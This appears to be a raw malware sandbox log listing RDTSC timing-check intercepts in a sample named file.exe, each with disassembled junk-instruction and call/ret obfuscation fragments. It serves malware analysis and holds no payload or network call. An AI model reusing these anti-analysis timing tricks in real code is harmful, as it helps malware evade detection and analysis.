Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11989E7 second address: 11989EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11989EB second address: 11989F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199059 second address: 119905F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119905F second address: 1199071 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FD0E506DD06h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199071 second address: 1199075 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199B1D second address: 1199B3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0E506DD19h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C1BF second address: 119C1C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD0E4E9B9E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C1C9 second address: 119C1CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114DE90 second address: 114DE96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114DE96 second address: 114DEAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0E506DD12h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114DEAC second address: 114DEB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D244 second address: 119D26F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov esi, dword ptr [ebp+122D23D2h] 0x0000000e push 00000000h 0x00000010 cld 0x00000011 push 00000000h 0x00000013 jmp 00007FD0E506DD12h 0x00000018 push eax 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D26F second address: 119D273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D273 second address: 119D277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A01F7 second address: 11A01FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1782 second address: 11A1787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1787 second address: 11A17F6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FD0E4E9B9ECh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov edi, dword ptr [ebp+122D36F4h] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007FD0E4E9B9E8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e jmp 00007FD0E4E9B9EEh 0x00000033 call 00007FD0E4E9B9F1h 0x00000038 mov ebx, dword ptr [ebp+122D3794h] 0x0000003e pop ebx 0x0000003f push 00000000h 0x00000041 sub edi, dword ptr [ebp+122D1A34h] 0x00000047 xchg eax, esi 0x00000048 push ecx 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A17F6 second address: 11A1804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A091D second address: 11A0923 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A289C second address: 11A28B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD0E506DD0Bh 0x0000000b popad 0x0000000c push eax 0x0000000d jc 00007FD0E506DD14h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A28B8 second address: 11A28BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1A49 second address: 11A1A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1A4D second address: 11A1A51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1A51 second address: 11A1A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A3986 second address: 11A398C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A2AC0 second address: 11A2AD9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FD0E506DD0Dh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A398C second address: 11A3A18 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FD0E4E9B9E8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 sub dword ptr [ebp+124460CCh], edx 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ecx 0x0000002e call 00007FD0E4E9B9E8h 0x00000033 pop ecx 0x00000034 mov dword ptr [esp+04h], ecx 0x00000038 add dword ptr [esp+04h], 0000001Ch 0x00000040 inc ecx 0x00000041 push ecx 0x00000042 ret 0x00000043 pop ecx 0x00000044 ret 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push esi 0x0000004a call 00007FD0E4E9B9E8h 0x0000004f pop esi 0x00000050 mov dword ptr [esp+04h], esi 0x00000054 add dword ptr [esp+04h], 00000015h 0x0000005c inc esi 0x0000005d push esi 0x0000005e ret 0x0000005f pop esi 0x00000060 ret 0x00000061 sub dword ptr [ebp+122D19C6h], esi 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a jmp 00007FD0E4E9B9F2h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4AD6 second address: 11A4AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD0E506DD06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4AE1 second address: 11A4B5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E4E9B9F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FD0E4E9B9E8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 push 00000000h 0x00000026 clc 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ecx 0x0000002c call 00007FD0E4E9B9E8h 0x00000031 pop ecx 0x00000032 mov dword ptr [esp+04h], ecx 0x00000036 add dword ptr [esp+04h], 00000019h 0x0000003e inc ecx 0x0000003f push ecx 0x00000040 ret 0x00000041 pop ecx 0x00000042 ret 0x00000043 mov dword ptr [ebp+122D23F6h], ebx 0x00000049 stc 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push edx 0x0000004e jno 00007FD0E4E9B9E6h 0x00000054 pop edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4B5B second address: 11A4B60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A3BB4 second address: 11A3BC2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD0E4E9B9E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4C87 second address: 11A4C91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD0E506DD06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4C91 second address: 11A4C95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4C95 second address: 11A4CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD0E506DD19h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5CB0 second address: 11A5CB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5CB4 second address: 11A5CB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5CB8 second address: 11A5CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7C9F second address: 11A7CCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FD0E506DD19h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 js 00007FD0E506DD06h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5CBE second address: 11A5CE0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FD0E4E9B9F7h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5CE0 second address: 11A5CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5CE9 second address: 11A5CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6DC4 second address: 11A6DD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007FD0E506DD06h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5DC7 second address: 11A5DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6DD7 second address: 11A6DE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E506DD0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6DE8 second address: 11A6DFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0E4E9B9EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5DCD second address: 11A5DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5DD2 second address: 11A5DE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0E4E9B9F3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5DE9 second address: 11A5DED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD172 second address: 11AD177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD177 second address: 11AD226 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E506DD10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FD0E506DD08h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 call 00007FD0E506DD15h 0x0000002b sub bx, 46B3h 0x00000030 pop ebx 0x00000031 sub dword ptr [ebp+122D26A2h], ecx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007FD0E506DD08h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 00000015h 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 push 00000000h 0x00000055 push 00000000h 0x00000057 push edx 0x00000058 call 00007FD0E506DD08h 0x0000005d pop edx 0x0000005e mov dword ptr [esp+04h], edx 0x00000062 add dword ptr [esp+04h], 00000018h 0x0000006a inc edx 0x0000006b push edx 0x0000006c ret 0x0000006d pop edx 0x0000006e ret 0x0000006f mov ebx, dword ptr [ebp+122D34C0h] 0x00000075 xchg eax, esi 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007FD0E506DD0Eh 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE14D second address: 11AE15F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD0E4E9B9E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD3C9 second address: 11AD3CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD3CE second address: 11AD3DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD3DE second address: 11AD3E4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B008E second address: 11B0125 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD0E4E9B9FBh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FD0E4E9B9F8h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007FD0E4E9B9E8h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov ebx, dword ptr [ebp+12471805h] 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebp 0x00000038 call 00007FD0E4E9B9E8h 0x0000003d pop ebp 0x0000003e mov dword ptr [esp+04h], ebp 0x00000042 add dword ptr [esp+04h], 0000001Bh 0x0000004a inc ebp 0x0000004b push ebp 0x0000004c ret 0x0000004d pop ebp 0x0000004e ret 0x0000004f push eax 0x00000050 add edi, dword ptr [ebp+122D35E8h] 0x00000056 pop ebx 0x00000057 xchg eax, esi 0x00000058 push ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b push edx 0x0000005c pop edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0125 second address: 11B0146 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E506DD16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0146 second address: 11B014A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF2F2 second address: 11AF2F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0352 second address: 11B0368 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E4E9B9ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0368 second address: 11B036D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B036D second address: 11B0373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B136A second address: 11B1378 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0E506DD0Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4130 second address: 11B413A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD0E4E9B9E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B6F1D second address: 11B6F36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FD0E506DD0Fh 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B6F36 second address: 11B6F42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FD0E4E9B9E6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B6F42 second address: 11B6F48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9E87 second address: 11B9EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD0E4E9B9E6h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FD0E4E9B9ECh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9EA0 second address: 11B9EB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E506DD12h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C33F0 second address: 11C3401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a js 00007FD0E4E9B9E6h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3401 second address: 11C3407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3407 second address: 11C3445 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD0E4E9B9E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ebx 0x00000011 jmp 00007FD0E4E9B9ECh 0x00000016 pop ebx 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a jmp 00007FD0E4E9B9F5h 0x0000001f jnc 00007FD0E4E9B9ECh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3445 second address: 11C3454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3454 second address: 11C345B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C355C second address: 11C3562 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3562 second address: 11C35CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD0E4E9B9F0h 0x00000008 jng 00007FD0E4E9B9E6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 js 00007FD0E4E9B9ECh 0x00000019 jg 00007FD0E4E9B9E6h 0x0000001f jmp 00007FD0E4E9B9F3h 0x00000024 popad 0x00000025 mov eax, dword ptr [esp+04h] 0x00000029 pushad 0x0000002a jbe 00007FD0E4E9B9ECh 0x00000030 jp 00007FD0E4E9B9E6h 0x00000036 jmp 00007FD0E4E9B9F3h 0x0000003b popad 0x0000003c mov eax, dword ptr [eax] 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C35CD second address: 11C35D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C35D1 second address: 11C35E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E4E9B9F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7774 second address: 11C7778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7778 second address: 11C777E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7CE5 second address: 11C7D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 je 00007FD0E506DD12h 0x0000000c jmp 00007FD0E506DD0Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7D0B second address: 11C7D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7E87 second address: 11C7E8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7E8B second address: 11C7EB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FD0E4E9B9FDh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
